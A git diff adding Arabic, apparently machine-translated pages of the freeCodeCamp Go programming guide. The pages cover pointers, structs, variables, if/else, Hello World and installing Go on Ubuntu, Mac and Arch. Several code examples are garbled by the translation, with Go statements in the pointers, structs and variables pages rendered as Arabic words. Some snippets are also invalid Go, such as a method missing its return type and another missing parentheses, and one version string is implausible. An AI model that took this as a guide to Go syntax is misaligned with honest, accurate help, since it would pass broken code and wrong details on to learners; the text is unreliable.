+الزر "تشغيل" فقط أرسل تعليمات تجميع التعليمات البرمجية التي كتبتها إلى خوادم google التي تعمل على golang Backend.
+
+يقوم الزر تنسيق بتنفيذ نمط التنسيق الاصطلاحي للغة ، يمكنك قراءة المزيد [هنا.](https://golang.org/pkg/fmt/)
+
+الواردات فقط تحقق من الحزم التي أعلنت عنها في الاستيراد (). مسار الاستيراد عبارة عن سلسلة تحدد حزمة بشكل فريد. يتطابق مسار استيراد الحزمة مع موقعه داخل مساحة عمل أو في مستودع بعيد (موضح أدناه). [أكثر من](https://golang.org/doc/code.html#ImportPaths)
+
+مع مشاركة يمكنك الحصول على عنوان URL حيث يتم حفظ الرمز الذي كتبته للتو. مفيد عند السؤال عن المساعدة في عرض التعليمات البرمجية.
+
+#### معلومات اكثر:
+
+*   [ملعب Go](https://play.golang.org/)
+*   [جولة في الذهاب](https://tour.golang.org/welcome/4)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-pointers/index.md b/client/src/guide/arabic/go/go-pointers/index.md
new file mode 100644
index 0000000000..2bccf6381e
--- /dev/null
+++ b/client/src/guide/arabic/go/go-pointers/index.md
@@ -0,0 +1,36 @@
+---
+title: Go Pointers
+localeTitle: الذهاب المؤشرات
+---
+## الذهاب المؤشرات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-pointers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+مؤشرات
+
+الذهاب لديها مؤشرات. يحتفظ المؤشر بعنوان الذاكرة لقيمة.
+
+النوع \* T هو مؤشر إلى قيمة T. قيمته صفر لا شيء.
+
+var p \* int
+
+يقوم المشغل بتوليد مؤشر لمعامله.
+
+أنا: = 42 ع = & i
+
+يشير العامل \* إلى القيمة الأساسية للمؤشر.
+
+fmt.Println (\* p) // read i through the pointer p \* p = 21 / set i من خلال مؤشر p
+
+هذا هو المعروف باسم "إلغاء الإشارة" أو "غير مباشر".
+
+على عكس C ، لا يحتوي Go على مؤشر حسابي.
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/moretypes/1)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/pointers)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/8)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Address_operators)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-slices/index.md b/client/src/guide/arabic/go/go-slices/index.md
new file mode 100644
index 0000000000..d377b00509
--- /dev/null
+++ b/client/src/guide/arabic/go/go-slices/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Slices
+localeTitle: الذهاب الشرائح
+---
+## الذهاب الشرائح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-slices/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/moretypes/7)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/slices)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/6#section2)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-structs/index.md b/client/src/guide/arabic/go/go-structs/index.md
new file mode 100644
index 0000000000..f05f13f5e8
--- /dev/null
+++ b/client/src/guide/arabic/go/go-structs/index.md
@@ -0,0 +1,112 @@
+---
+title: Go Structs
+localeTitle: الذهاب الهياكل
+---
+## الذهاب الهياكل
+
+في الذهاب ، يتم استخدام البنى لتخزين البيانات والوظائف ذات الصلة. قد يكون أحد الأمثلة بنية لتمثيل مستخدم:
+
+ `type User struct { 
+    FirstName string 
+    LastName  string 
+    Email     string 
+    Age       int 
+ } 
+` 
+
+هنا يمكننا تخزين الاسم الأول للمستخدم واسم العائلة وعنوان البريد الإلكتروني والعمر. يتبع اسم الخاصية نوع البيانات التي نريد تخزينها. على سبيل المثال ، الخاصية `FirstName` هي `string` بينما تكون الخاصية `Age` `int` .
+
+### خلق الأشياء
+
+لتهيئة كائن جديد ، يمكننا استخدام صيغة Go المختصرة لإنشاء وتعيين المتغيرات. يمكننا إما تمرير البيانات في هذه المرحلة أو تعيين البيانات في وقت لاحق:
+
+ `func main() { 
+    // Create a user and set both the first and last name properties 
+    user1 := User{ 
+        FirstName: "John", 
+        LastName: "Wick", 
+    } 
+ 
+    // Now we have our user object, we can set the data like this 
+    user1.Email = "john@wick.com" 
+    user1.Age = 30 
+ } 
+` 
+
+### طرق الكائن
+
+Go تمكن من تخصيص طرق للبنى. يتيح ذلك تجميع العمليات ذات الصلة بالبيانات التي تؤثر عليها. في هذا المثال ، سنكتب طريقة في بنية `User` لإنشاء الاسم الكامل للمستخدم:
+
+ `func (u User) FullName() string { 
+    return strings.Join([]string{u.FirstName, u.LastName}, " ") 
+ } 
+` 
+
+ستنضم هذه الطريقة إلى الاسم الأول والأخير للمستخدم مع وجود مسافة بينهما. قد يبدو استدعاء الطريقة كما يلي:
+
+ `    println(user1.FullName()) 
+` 
+
+### العلامات الهيكلية
+
+تُستخدم علامات الهيكل لتعديل كيفية معالجة برامج التشفير للبيانات. على سبيل المثال ، تعيين أسماء المفاتيح عند الترميز إلى JSON:
+
+ ``type User struct { 
+    FirstName string `json:"first_name"` 
+    LastName  string `json:"last_name"` 
+    Email     string `json:"email"` 
+    Age       int    `json:"age"` 
+ } 
+`` 
+
+### البيانات المصدرة
+
+يمكن أن تحتوي الهياكل على كل من المصدرين (العام) والخصائص غير المُصدرة (الخاصة). يتم تعيين هذا إما عن طريق وجود حرف كبير لأول حرف للتصدير أو الحرف الأول صغير لم يتم تصديره. في هذا المثال ، سنجعل خاصية البريد الإلكتروني خاصة:
+
+ `type User struct { 
+    // Exported Data 
+    FirstName string 
+    LastName  string 
+    Age       int 
+ 
+    // Unexported Data 
+    email     string 
+ } 
+` 
+
+سيجعل هذا الإجراء التعليمة البرمجية التالية بطرح خطأ في وقت الإنشاء أثناء محاولة التفاعل مع خاصية unexported:
+
+ `    user1.email = "john@wick.com" 
+` 
+
+هذا ينطبق أيضًا على الطرق:
+
+ `// Exported method. This can be called from anywhere 
+ func (u User) Email() { 
+    return u.email 
+ } 
+ 
+ // Unexported method. This can only be called by other methods on this struct 
+ func (u User) updateLoginCount { 
+    // code to update login count... 
+ } 
+` 
+
+### تعديل الخصائص عبر الطرق
+
+لتعديل بيانات كائن من داخل إحدى طرقه ، يجب أن يكون الكائن مؤشرًا. قد يبدو مثل هذا المثال:
+
+\`\` \`الذهاب // SetEmail يحدد عنوان البريد الإلكتروني للمستخدم func (u \* User) SetEmail (سلسلة البريد الإلكتروني) { u.email = email }
+
+// ملحق البريد الإلكتروني func (u \* User) Email () string { عودة u.email }
+
+func main () { // إنشاء مؤشر user1 user1 = & المستخدم { الاسم الأول: "جون" ، اسم العائلة: "Wick" ، }
+
+ `// Set the user's email address 
+ user1.SetEmail("john@wick.com") 
+ 
+ // Access and print the user's email address 
+ println(user1.Email()) 
+` 
+
+}
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-variables/index.md b/client/src/guide/arabic/go/go-variables/index.md
new file mode 100644
index 0000000000..1fe8684300
--- /dev/null
+++ b/client/src/guide/arabic/go/go-variables/index.md
@@ -0,0 +1,27 @@
+---
+title: Go Variables
+localeTitle: الذهاب المتغيرات
+---
+# الإعلانات المتغيرة في Go
+
+## الطريقة 1: تعريفات متغيرة منتظم
+
+يخلق الإعلان المتغير العادي واحد أو أكثر من المتغيرات من خلال معرفات ملزمة مع نوع وقيمة أولية. إذا تم التصريح عن متغير بدون نوع ، فسيتم إعطاء هذا المتغير نوع قيمة التهيئة المقابلة في المهمة. إذا تم تعريف متغير بدون قيمة أولية ، فسيتم تهيئة المتغير إلى قيمته [الصفرية](https://golang.org/ref/spec#The_zero_value) .
+
+الأمثلة التالية هي كافة التعريفات المتغيرة الصالحة في go: اذهب var x int = 1 var y int var z = 0 var a، b float32 = -1، -2
+
+ ``## Method 2: Short Variable Declarations 
+ 
+ Shorthand variable declarations create variables with only an identifier and an initial value. The `var` keyword and types are not needed to declare a variable using shorthand syntax: 
+`` 
+
+اذهب س: = 1 نص ، يخطئ: = ioutil.ReadAll (القارئ) \`\` \`
+
+قد تظهر إعلانات متغير قصيرة داخل وظائف فقط. في بعض السياقات مثل المهيآت ل `if` ، `for` ، أو `switch` البيانات، ويمكن استخدامها لإعلان المتغيرات المؤقتة المحلية.
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/basics/8)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/variables)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/4)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Variable_declarations)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/goroutines/index.md b/client/src/guide/arabic/go/goroutines/index.md
new file mode 100644
index 0000000000..f7aafc3564
--- /dev/null
+++ b/client/src/guide/arabic/go/goroutines/index.md
@@ -0,0 +1,16 @@
+---
+title: Goroutines
+localeTitle: Goroutines
+---
+## Goroutines
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/go/goroutines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/concurrency/1)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/goroutines)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/10)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Go_statements)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/hello-world/index.md b/client/src/guide/arabic/go/hello-world/index.md
new file mode 100644
index 0000000000..0bbe4b71a2
--- /dev/null
+++ b/client/src/guide/arabic/go/hello-world/index.md
@@ -0,0 +1,59 @@
+---
+title: Hello World in Go
+localeTitle: مرحبا العالم في الذهاب
+---
+لتثبيت Go in your computer ، قم بتنزيل برنامج التثبيت الخاص به من [هنا](https://golang.org/dl/) وقم بتثبيته باتباع [إرشادات التثبيت](https://golang.org/doc/install) هذه.
+
+## برنامج الذهاب الأول
+
+قم بإنشاء ملف باسم `main.go` وأضف الكود التالي فيه: -
+
+ `package main // Package declaration 
+ 
+ import "fmt" // Importing packages 
+ 
+ // Function declaration 
+ func main() { 
+    fmt.Println("Hello, World!") 
+ } 
+` 
+
+الآن ، قم بتشغيل البرنامج أعلاه من Terminal / Command Line. للقيام بذلك ، افتح Terminal / Command Line `main.go` إلى الدليل الذي يوجد به `main.go` أولا تجميع البرنامج وتشغيل `go build main.go` ثم قم بتشغيل الأمر `go run main.go` لتشغيل البرنامج. سترى ouptut تشبه الإخراج التالي: -
+
+ `$ go build main.go 
+ $ go run main.go 
+ Hello, World! 
+` 
+
+## تحليل
+
+### إعلان الحزمة
+
+ `package main 
+` 
+
+أثناء التنقل ، يرتبط كل برنامج بـ "حزمة" أو مجموعة من البرامج المرتبطة. الاستثناء الملحوظ هو الحزمة الخاصة "الرئيسية" ، والتي تشير إلى الذهاب complier أنه ينبغي تشغيل البرنامج التالي.
+
+### واردات
+
+ `import “fmt” 
+` 
+
+إذا كنت ترغب في استخدام وظائف من حزم أخرى ، فإنك تحتاج إلى استيرادها. هناك حزم معينة تم تطويرها بواسطة مشرفي الصيانة (تسمى "المكتبة القياسية") ويمكن العثور عليها على https://golang.org/pkg/. في هذه الحالة ، نحتاج إلى حزمة "fmt" لبياننا المطبوع (أدناه).
+
+### إعلان الدالة
+
+ `func main() { 
+ } 
+` 
+
+وظائف هي قلب أي برنامج في الذهاب. يمكن أن يكون لديهم حجج وقيم عودة ، لكن الوظيفة `main` لا تقوم بأي من هذه. يعمل بمثابة "نقطة دخول" ، أو حيث يبدو يبدو أولاً لتشغيل البرنامج. نريد أن يقوم برنامج Hello World الخاص بنا بالطباعة ، لذا نريد وضع الشفرة هنا.
+
+### بيان مطبوع
+
+ `fmt.Println("Hello, world!") 
+` 
+
+لا يتطلب Go فواصل منقوطة في نهاية الأسطر ، حيث يضيفها complier تلقائياً. تعمل حزمة `fmt` (التي قمنا باستيرادها أعلاه!) على وظيفة `Println` ، والتي نستخدمها باستخدام `.` بناء الجملة. نمر الحجج إلى الوظيفة بين Parens. في هذه الحالة ، تكون الوسيطة هي السلسلة التي نريد طباعتها ( `"Hello, world!"` ). لاحظ أن السلسلة نفسها محاطة بعلامات اقتباس.
+
+الآن بعد أن أصبح لديك الأدوات اللازمة ، اخرج واجعل برامج Go الخاصة بك! أفضل طريقة للتعلم هي التجربة. إذا احتجت في أي وقت للمساعدة ، فحاول استخدام وثائق الانتقال الممتازة: https://golang.org/doc/
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/if-else-statements/index.md b/client/src/guide/arabic/go/if-else-statements/index.md
new file mode 100644
index 0000000000..ebea3ee508
--- /dev/null
+++ b/client/src/guide/arabic/go/if-else-statements/index.md
@@ -0,0 +1,41 @@
+---
+title: if else Statements
+localeTitle: if else البيانات
+---
## المقدمة
+
+بيان `if` ينفذ عبارة إذا كان الشرط المحدد هو **الصحيح** . إذا كانت الحالة **خاطئة** ، يمكن تنفيذ جملة أخرى باستخدام عبارة `else` .
+
+**ملاحظة:** العبارة `else` اختيارية.
+
+ `  x := 7 
+  if x%2 == 0 { 
+    // This statement is executed if x is even 
+  } else { 
+    // This statement is executed if x is odd 
+  } 
+` 
+
+متعددة `if...else` البيانات يمكن أن تتداخل لخلق `else if` الشرط.
+
+ `  x := 7 
+  if x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 4 { 
+    // this statement is executed if x is 4 
+  } else if x == 7 { 
+    // this statement is executed if x is 7 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+` 
+
+في العودة يمكن أن تسبق و `if` شرط مع بيان. بعد ذلك ، يكون تعريف المتغير الحاوي صالحًا للكتلة الكاملة في `if` الحظر.
+
+ `  if x := 3; x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 3 { 
+    // this statement is executed if x is 3 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/if/index.md b/client/src/guide/arabic/go/if/index.md
new file mode 100644
index 0000000000..ef9c6a6ce1
--- /dev/null
+++ b/client/src/guide/arabic/go/if/index.md
@@ -0,0 +1,58 @@
+---
+title: If in Go
+localeTitle: إذا كان في الذهاب
+---
+# إذا كان في الذهاب
+
+الذهاب ل `if` التصريحات هي مثل لها `for` حلقات. لا يجب أن يكون التعبير محاطًا بأقواس `(` `)` لكن الأقواس `{` `}` مطلوبة.
+
+ `func sqrt(x float64) string { 
+    if x < 0 { 
+        return sqrt(-x) + "i" 
+    } 
+    return fmt.Sprint(math.Sqrt(x)) 
+ } 
+` 
+
+مثل `for` ، و `if` يمكن بيان تبدأ بيان مقتضب لتنفيذ قبل الشرط.
+
+المتغيرات التي أعلنها البيان هي فقط في نطاق حتى نهاية `if` .
+
+ `func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } 
+    return lim 
+ } 
+` 
+
+## إذا و غير ذلك
+
+المتغيرات أعلن داخل `if` بيان مقتضب تتوفر داخل أي من أيضا `else` كتل.
+
+ `package main 
+ 
+ import ( 
+    "fmt" 
+    "math" 
+ ) 
+ 
+ func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } else { 
+        fmt.Printf("%g >= %g\n", v, lim) 
+    } 
+    // can't use v here, though 
+    return lim 
+ } 
+ 
+ func main() { 
+    fmt.Println( 
+        pow(3, 2, 10), 
+        pow(3, 3, 20), 
+    ) 
+ } 
+` 
+
+تشغيل البرنامج أعلاه ينتج مخرجات مشابهة للإخراج التالي - `$ go run if.go 27 >= 20 9 20`
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/index.md b/client/src/guide/arabic/go/index.md
new file mode 100644
index 0000000000..794d345204
--- /dev/null
+++ b/client/src/guide/arabic/go/index.md
@@ -0,0 +1,88 @@
+---
+title: Go
+localeTitle: اذهب
+---
+## اذهب
+
+![اذهب الوفير](https://golang.org/doc/gopher/bumper320x180.png)
+
+**Go** (أو **golang** ) هي لغة برمجة تم إنشاؤها في Google عام 2007 بواسطة Robert Griesemer و Rob Pike و Ken Thompson. هي عبارة عن لغة مجمعة ومكتوبة بشكل ثابت في تقليد Algol و C. وهي تحتوي على جمع القمامة ، والكتابة الهيكلية المحدودة ، وسلامة الذاكرة ، وميزات البرمجة المتزامنة على غرار CSP. المترجم وأدوات اللغة الأخرى التي طورتها Google أصلاً جميعها مجانية ومفتوحة المصدر. شعبيتها تتزايد بسرعة. إنه خيار رائع لبناء تطبيقات الويب.
+
+لمزيد من المعلومات ، توجه إلى صفحة [Go's Home](https://golang.org/)
+
+تريد [جولة](https://tour.golang.org/welcome/1) سريعة [من الذهاب؟](https://tour.golang.org/welcome/1)
+
+## \## ما قبل التركيب:
+
+#### تثبيت Golang مع البيرة:
+
+ `$ brew update 
+ $ brew install golang 
+` 
+
+#### عند التثبيت ، حاول تشغيل إصدار go لمشاهدة الإصدار المثبت من Go.
+
+## \### إعداد مساحة العمل:
+
+##### إضافة متغيرات البيئة:
+
+أولاً ، ستحتاج إلى معرفة انتقال موقع مساحة العمل الخاصة بك.
+
+سنقوم بإضافة بعض متغيرات البيئة إلى تهيئة shell. واحد من الملفات الموجودة في bash\_profile دليل المنزل الخاص بك ، bashrc أو. zshrc (للوه يا جيش Zsh)
+
+ `$ vi .bashrc 
+` 
+
+\`
+
+ثم أضف تلك الخطوط لتصدير المتغيرات المطلوبة
+
+#### هذا هو في الواقع ملف .bashrc الخاص بك
+
+ `export GOPATH=$HOME/go-workspace # don't forget to change your path correctly! 
+ export GOROOT=/usr/local/opt/go/libexec 
+ export PATH=$PATH:$GOPATH/bin 
+ export PATH=$PATH:$GOROOT/bin 
+` 
+
+## \#### إنشاء مساحة العمل الخاصة بك:
+
+##### قم بإنشاء شجرة أدلة مساحة العمل:
+
+ `$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin 
+ $GOPATH/src : Where your Go projects / programs are located 
+ $GOPATH/pkg : contains every package objects 
+ $GOPATH/bin : The compiled binaries home 
+` 
+
+### بداية سريعة
+
+في مشروع Go السريع والنهائي ، جرّب [سبائك](https://www.growthmetrics.io/open-source/alloy)
+
+1.  مستودع استنساخ سبائك
+
+ `git clone https://github.com/olliecoleman/alloy 
+ cd alloy 
+` 
+
+2.  تثبيت التبعيات
+
+ `glide install 
+ npm install 
+` 
+
+3.  ابدأ خادم التطوير
+
+ `go install 
+ alloy dev 
+` 
+
+4.  زيارة الموقع على `http://localhost:1212`
+
+_تستخدم سبائك Node و NPM و Webpack_
+
+### اذهب الملعب
+
+[اذهب الملعب](https://play.golang.org/)
+
+إن تعلم كيفية التثبيت على جهازك المحلي أمر مهم ، ولكن إذا كنت تريد بدء اللعب مع الانتقال مباشرة إلى متصفحك ، فإن Go Playground هو وضع الحماية الأمثل لبدء العمل على الفور! لمعرفة المزيد عن Go Playground راجع مقالتهم بعنوان [Inside the Go Playground](https://blog.golang.org/playground)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/arch-linux/index.md b/client/src/guide/arabic/go/installing-go/arch-linux/index.md
new file mode 100644
index 0000000000..d46b9bdb31
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/arch-linux/index.md
@@ -0,0 +1,21 @@
+---
+title: Installing Go in Arch Linux using pacman
+localeTitle: تثبيت Go في Arch Linux باستخدام pacman
+---
+### تثبيت Go في Arch Linux باستخدام pacman
+
+استخدام Arc Linux Linux Manager (pacman) هو أسهل طريقة لتثبيت Go. استنادًا إلى فلسفة Arch Linux في تقديم إصدارات برامج جديدة بسرعة ، ستحصل على إصدار حالي جدًا من الانتقال. قبل أن تتمكن من تثبيت حزمة الانتقال ، يجب عليك تحديث النظام.
+
+ `$ sudo pacman -Syu 
+ $ sudo pacman -S go 
+` 
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا تم تشغيل go بنجاح ، استخدم:
+
+ `$ go version 
+ > go version go2.11.1 linux/amd64 
+` 
+
+سيطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/index.md b/client/src/guide/arabic/go/installing-go/index.md
new file mode 100644
index 0000000000..b9c514b192
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/index.md
@@ -0,0 +1,25 @@
+---
+title: Installing Go
+localeTitle: تثبيت العودة
+---
+# تثبيت العودة
+
+## تثبيت الذهاب في أوبونتو
+
+*   [تثبيت Go باستخدام apt-get](https://guide.freecodecamp.org/go/installing-go/ubuntu-apt-get) . هذا هو أسهل طريقة لتثبيت الذهاب في أوبونتو.
+*   [تثبيت Go باستخدام tarball](https://guide.freecodecamp.org/go/installing-go/ubuntu-tarball) . استخدم هذه الطريقة إذا كنت ترغب في تثبيت أحدث إصدار ثابت من go.
+
+## تثبيت Go في نظام التشغيل Mac OS X
+
+*   [تثبيت Go باستخدام Package Installer](https://guide.freecodecamp.org/go/installing-go/mac-package-installer) . أسهل طريقة لتثبيت أحدث إصدار ثابت من الذهاب.
+*   [تثبيت Go باستخدام tarball](https://guide.freecodecamp.org/go/installing-go/mac-tarball) . بالنسبة لأولئك الذين يرغبون في استخدام المحطة.
+
+## تثبيت الذهاب في ويندوز
+
+*   [تثبيت Go باستخدام MSI Installer](https://guide.freecodecamp.org/go/installing-go/windows-installer)
+
+## تثبيت الانتقال من المصدر
+
+*   لتثبيت Go from reffer المصدر على [التثبيت من وثائق المصدر](https://golang.org/doc/install/source)
+
+المرجع: [golang تثبيت الوثائق](https://golang.org/doc/install#install)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/mac-package-installer/index.md b/client/src/guide/arabic/go/installing-go/mac-package-installer/index.md
new file mode 100644
index 0000000000..046560a9a7
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/mac-package-installer/index.md
@@ -0,0 +1,18 @@
+---
+title: Installing Go in Mac OS X using Package Installer
+localeTitle: تثبيت Go في نظام التشغيل Mac OS X باستخدام Package Installer
+---
+### تثبيت Go في نظام التشغيل Mac OS X باستخدام Package Installer
+
+من [صفحة تنزيل golang](https://golang.org/dl/) ، احصل على أداة تثبيت حزمة Mac (تنتهي بـ .pkg) وقم بتشغيلها.
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_package_installer.jpg "رابط تثبيت حزمة Mac")
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا كان قد تم تركيب go بنجاح ، افتح الجهاز الخاص بك واستخدم:
+
+ `$ go version 
+` 
+
+يجب أن يطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/mac-tarball/index.md b/client/src/guide/arabic/go/installing-go/mac-tarball/index.md
new file mode 100644
index 0000000000..28054eb7fa
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/mac-tarball/index.md
@@ -0,0 +1,31 @@
+---
+title: Installing Go in Mac OS X using a tarball
+localeTitle: تثبيت Go in Mac OS X باستخدام tarball
+---
+### تثبيت Go in Mac OS X باستخدام tarball
+
+#### رابط إلى tarball
+
+يمكنك الحصول على الرابط إلى أرشيف نظام التشغيل Mac OS من قسم "آخر مستقر" في [صفحة تنزيل golang](https://golang.org/dl/) .
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_tarball.jpg "رابط Mac tarball")
+
+#### عملية التثبيت
+
+> في عملية التثبيت هذه ، سنستخدم أحدث إصدار ثابت اعتبارًا من هذه الكتابة (انتقل إلى 1.9.1). بالنسبة إلى الإصدار الأحدث أو الأقدم ، ما عليك سوى استبدال الرابط في الخطوة الأولى. تحقق من [صفحة تنزيل golang](https://golang.org/dl/) لترى الإصدارات المتوفرة حاليًا.
+
+##### تثبيت Go 1.9.1
+
+ `$ curl -O https://storage.googleapis.com/golang/go1.9.1.darwin-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.darwin-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+` 
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا تم تشغيل go بنجاح ، استخدم:
+
+ `$ go version 
+` 
+
+يجب أن يطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/ubuntu-apt-get/index.md b/client/src/guide/arabic/go/installing-go/ubuntu-apt-get/index.md
new file mode 100644
index 0000000000..55f4d13398
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/ubuntu-apt-get/index.md
@@ -0,0 +1,23 @@
+---
+title: Installing Go in Ubuntu using apt-get
+localeTitle: تثبيت Go في Ubuntu باستخدام apt-get
+---
+### تثبيت Go في Ubuntu باستخدام apt-get
+
+إن استخدام مدير حزم المصدر في Ubuntu (apt-get) هو أسهل طريقة لتثبيت Go. لن تحصل على أحدث نسخة مستقرة ، ولكن لغرض التعلم ، يجب أن يكون هذا كافياً.
+
+> حتى كتابة هذه السطور ، فإن نسخة Ubuntu Xenial من go هي 1.6.1 ، بينما الأحدث إصدار مستقر هو 1.9.1
+
+ `$ sudo apt-get update 
+ $ sudo apt-get install golang-go 
+` 
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا تم تشغيل go بنجاح ، استخدم:
+
+ `$ go version 
+ > go version go1.9.1 linux/amd64 
+` 
+
+سيطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/ubuntu-tarball/index.md b/client/src/guide/arabic/go/installing-go/ubuntu-tarball/index.md
new file mode 100644
index 0000000000..f92117fdc3
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/ubuntu-tarball/index.md
@@ -0,0 +1,58 @@
+---
+title: Installing Go in Ubuntu using a tarball
+localeTitle: تثبيت Go في Ubuntu باستخدام tarball
+---
+### تثبيت Go في Ubuntu باستخدام tarball
+
+> هذه هي الطريقة الموصى بها لتثبيت go إذا كنت ترغب في الحصول على أحدث إصدار ثابت متوفر من موقع golang على الويب.
+
+#### تحقق من بنية النظام الخاص بك
+
+قبل المتابعة تأكد من معرفة ما إذا كان النظام الخاص بك هو 32 أو 64 بت. إذا كنت لا تعرف ، فقم بتشغيل الأمر التالي لمعرفة ما يلي:
+
+ `$ lscpu | grep Architecture 
+` 
+
+إذا كنت ترى `Architecture: x86_64` النظام الخاص بك هو 64 بت ، وإلا إذا حصلت على `Architecture: i686` ، فإن النظام الخاص بك هو 32 بت. الآن بعد أن تعرفت على بنية النظام الخاص بك ، دعونا المضي قدما.
+
+#### انتقاء الصحيح كرات
+
+من [صفحة تنزيل golang](https://golang.org/dl/) ، ستحتاج إلى الحصول على الرابط لملف tarball الصحيح (.tar.gz) لنظامك.
+
+إذا كان النظام الخاص بك 64 بت ، فقم بنسخ الرابط إلى ملف .tar.gz لأنظمة Linux ذات هندسة x86\_64. على سبيل المثال ، أحدث إصدار مستقر لأنظمة 64 بت حتى كتابة هذه `go1.9.1.linux-amd64.tar.gz` هو `go1.9.1.linux-amd64.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux64.jpg "رابط x64 tarball")
+
+إذا كان النظام الخاص بك هو 32 بت ، فقم بنسخ الرابط إلى ملف .tar.gz لأنظمة Linux باستخدام هندسة x86. حتى كتابة هذه السطور ، أحدث ملف هو `go1.9.1.linux-386.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux86.jpg "رابط x86")
+
+بعد نسخ الرابط ، ما عليك سوى استبدال الرابط الموجود في عملية التثبيت الموجودة أدناه بالارتباط الذي حصلت عليه من صفحة التنزيل.
+
+#### عملية التثبيت
+
+> في عملية التثبيت هذه ، سنستخدم الروابط إلى go 1.9.1 tarballs كمثال. بالنسبة إلى الإصدار الأحدث أو الأقدم ، ما عليك سوى استبدال الرابط في الخطوة الأولى. تحقق من [صفحة تنزيل golang](https://golang.org/dl/) لترى الإصدارات المتوفرة حاليًا.
+
+##### انتقل 1.9.1 لأنظمة 64 بت:
+
+ `$ wget https://storage.googleapis.com/golang/go1.9.1.linux-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+` 
+
+##### انتقل 1.9.1 لأنظمة 32bit:
+
+ `$ wget https://storage.googleapis.com/golang/go1.9.1.linux-386.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-386.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+` 
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا تم تشغيل go بنجاح ، استخدم:
+
+ `$ go version 
